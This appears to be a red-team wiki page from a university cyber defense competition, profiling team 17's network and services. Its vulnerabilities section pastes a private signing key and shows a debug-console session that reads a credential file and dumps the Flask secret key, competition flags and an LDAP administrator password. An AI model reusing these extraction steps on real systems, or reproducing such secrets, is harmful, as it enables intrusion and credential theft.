Team 17 Wiki Page

Team Information
Team UNI Women's Rugby logo
Number
Team 17
Name
UNI Women's Rugby
IP Range
178.98.45.0/24
Domain
team17.isucdc.com
Current Place
19th
Red Teamer(s)
None
Service Status
AD LDAP
AD RDP
AD LDAPS
TICKETS HTTP
TICKETS RDP
MGMT HTTP
MGMT SSH
ADMIN HTTP
ADMIN RDP
WWW HTTP
WWW SSH
ADMIN Login
WWW Login
Nmap
Add content here...
Notable Vulnerabilities


Private signing key for tickets:
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


>>> import os; print(open('/etc/backend.env').read()) WERKZEUG_DEBUG_PIN="123456789"
>>> import inspect, flask; apps=list({id(v):v for f in inspect.stack() for v in f.frame.f_locals.values() if isinstance(v, flask.app.Flask)}.values()); apps []
>>> app = apps[0]
>>> {k:v for k,v in app.config.items() if "SECRET" in k or "FLAG" in k or "LDAP" in k} {'SECRET_KEY': 'nU0F7>2@2t_+', 'FLAGS': {'train_service_flag': 'AqWUBKwqKJnUmvmHoNxmZ6ti5nkZkHXeZXXF6nne2ArFvc5nkr', 'bus_service_flag': 'WdUJJNUns2hTkAvzrFIejgusBiJpUhdGy6oO3UCHA32KGcRPPF', 'db_read_flag': 'DHQDtCgvuF4BvzpBc5hlACiVKKHtWn2NygXHt6uRQ5sXA6T5Ba'}, 'LDAP_DN': 'cn=users,dc=team17,dc=isucdc,dc=com', 'LDAP_DOMAIN': 'team17.isucdc.com', 'LDAP_PASS': 'cdc', 'LDAP_SERVER': 'ad.team17.isucdc.com', 'LDAP_USER': 'Administrator'  }



Notable Defenses
Add content here...
Team Spirit Issues
Add content here...